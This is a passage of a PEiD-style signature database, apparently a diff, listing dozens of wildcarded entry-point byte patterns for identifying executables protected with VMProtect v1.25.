00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 FF 34 85 ?? ?? ?? ?? C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 51 9C 57 56 52 50 56 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 36 8B 00 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 51 9C 53 56 50 56 57 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 51 9C 53 51 52 50 56 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 55 9C 50 57 57 51 56 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 45 00 8A 55 04 83 C5 06 88 10 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 50 9C 55 56 54 57 52 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 50 9C 54 51 57 52 56 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 50 9C 50 56 57 51 52 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 C6 01 FF 24 85 ?? ?? ?? ?? 89 E8 83 ED 04 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 51 52 55 56 55 57 50 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 51 50 9C 55 52 50 57 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 24 85 ?? ?? ?? ?? 8B 06 8D 76 04 83 ED 04 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 51 50 52 52 57 55 56 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 04 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 50 57 53 9C 52 51 55 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 50 55 50 51 9C 52 56 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 8B 00 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 50 54 9C 51 56 55 57 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 50 57 9C 56 51 52 55 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 8D 0C 85 ?? ?? ?? ?? FF 21 8B 6D 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 50 57 56 9C 55 52 51 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 02 66 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 50 57 56 55 51 9C 51 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 FF 34 85 ?? ?? ?? ?? C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 51 52 55 56 56 9C 57 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 EE FF FF 34 85 ?? ?? ?? ?? C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 52 57 55 56 51 55 9C 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 C6 01 FF 34 85 ?? ?? ?? ?? C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 52 57 55 51 9C 56 50 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 8B 00 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 52 57 50 55 51 9C 56 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 45 00 8B 00 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 55 55 57 51 56 50 9C 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 8D 0C 85 ?? ?? ?? ?? FF 21 8B 06 83 ED 04 83 C6 04 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 55 52 57 57 50 9C 56 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 52 9C 55 57 50 51 55 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 EE FF FF 24 85 ?? ?? ?? ?? 89 E8 83 ED 04 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 51 9C 52 57 55 50 56 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 8B 00 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 51 56 50 57 55 52 9C 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 EE FF FF 34 85 ?? ?? ?? ?? C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 51 55 56 52 9C 57 50 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 45 00 36 8B 00 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 52 56 9C 57 50 51 55 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 8B 55 04 83 C5 08 89 10 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 52 55 9C 57 56 51 50 54 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 8D 76 01 0F B6 C0 FF 24 85 ?? ?? ?? ?? 89 EC 5A 5E 58 59 5E 5F 9D 5D 5A 5B C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 52 50 56 51 57 56 55 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 24 85 ?? ?? ?? ?? 8A 06 8A 04 07 83 ED 02 66 89 45 00 46 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 55 52 9C 53 56 57 50 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 EE FF FF 24 85 ?? ?? ?? ?? 89 EC 5A 5B 58 5F 5E 5A 9D 5A 5D 59 C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 9C 52 52 53 57 51 55 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 C6 01 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 8B 00 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 57 55 51 55 9C 56 53 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 C6 01 FF 34 85 ?? ?? ?? ?? C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 57 53 57 52 56 51 55 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 66 8B 6D 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 9C 52 56 56 53 57 51 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 EE FF 8D 0C 85 ?? ?? ?? ?? FF 21 8B 75 00 83 C5 04 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 9C 52 53 55 51 56 56 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 EE FF FF 24 85 ?? ?? ?? ?? 8B 06 83 ED 04 89 45 00 83 C6 04 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 9C 52 53 51 55 51 56 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 45 00 01 45 04 9C 8F 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 56 51 51 9C 52 55 57 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 C6 01 FF 24 85 ?? ?? ?? ?? 8B 6D 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 55 9C 56 57 57 51 52 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 24 85 ?? ?? ?? ?? 66 8B 06 98 83 ED 04 8D 76 02 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 55 9C 53 57 51 52 56 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 EE FF FF 34 85 ?? ?? ?? ?? C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 56 53 51 55 57 52 53 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 04 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 56 53 50 55 9C 51 52 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 C6 01 FF 34 85 ?? ?? ?? ?? C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 56 52 53 55 57 9C 51 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 04 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 9C 53 56 53 52 55 51 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 50 9C 56 53 57 55 52 54 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 50 9C 56 53 57 52 55 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 C6 01 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 50 57 9C 53 53 55 52 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 52 55 9C 56 53 52 57 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 8D 0C 85 ?? ?? ?? ?? FF 21 89 EC 5A 58 5F 5A 5B 5E 9D 5D 59 59 C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 52 53 55 9C 55 56 57 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 FF 24 85 ?? ?? ?? ?? 89 E8 83 ED 02 66 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 52 50 53 56 55 57 9C 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 04 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 9C 55 54 56 52 57 51 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 EE FF 8D 0C 85 ?? ?? ?? ?? FF 21 8B 6D 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 9C 54 55 56 52 53 51 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 C6 01 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 9C 53 57 52 57 56 51 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 C6 01 FF 24 85 ?? ?? ?? ?? 8B 45 00 8B 00 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 50 55 56 50 53 9C 57 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 24 85 ?? ?? ?? ?? 0F B6 06 46 83 ED 02 66 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 50 52 9C 53 57 50 55 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 8D 76 01 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 75 00 83 C5 04 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 9C 56 53 53 55 57 52 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 24 85 ?? ?? ?? ?? 8B 45 00 01 45 04 9C 8F 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 55 53 56 52 57 56 51 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 75 00 83 C5 04 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 51 55 53 56 51 57 52 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 51 53 9C 52 56 55 57 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 C6 01 FF 24 85 ?? ?? ?? ?? 8B 06 83 ED 04 89 45 00 83 EE FC E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 51 53 54 57 56 52 55 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 02 66 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 51 56 9C 53 57 55 52 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 8B 55 04 83 C5 08 89 10 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 51 56 53 55 57 52 9C 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 8D 76 01 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 89 EC 59 5D 9D 5A 5F 5D 5B 5E 59 58 C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 51 55 9C 57 57 56 52 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 02 66 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 51 52 53 9C 56 57 56 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 75 00 83 C5 04 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 50 9C 53 55 57 52 51 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 24 85 ?? ?? ?? ?? 66 8B 06 98 83 ED 04 89 45 00 83 C6 02 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 50 57 9C 55 52 56 51 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 C6 01 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 51 53 52 55 9C 52 57 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 8B 00 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 51 52 9C 50 53 57 55 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 8D 0C 85 ?? ?? ?? ?? FF 21 8B 75 00 83 C5 04 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 51 52 57 56 55 53 9C 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 FF 34 85 ?? ?? ?? ?? C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 52 51 53 9C 55 56 53 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 EE FF FF 24 85 ?? ?? ?? ?? 8B 45 00 8B 55 04 83 C5 08 89 10 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 53 50 9C 51 57 52 55 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 06 83 EE FC 83 ED 04 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 52 9C 55 53 57 51 53 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 02 66 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 52 9C 50 55 53 51 56 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 8A 55 04 83 C5 06 88 10 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 53 57 52 52 9C 56 55 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 53 56 57 52 55 51 53 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 8B 00 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 53 54 52 57 51 55 56 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 C6 01 FF 24 85 ?? ?? ?? ?? 89 E8 83 ED 04 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 52 56 53 57 51 9C 52 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 52 53 53 55 9C 57 51 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 52 51 9C 56 53 57 51 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 C6 01 FF 34 85 ?? ?? ?? ?? C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 52 57 9C 54 53 55 56 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 8D 76 01 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 75 00 83 C5 04 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 52 57 56 57 9C 51 55 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 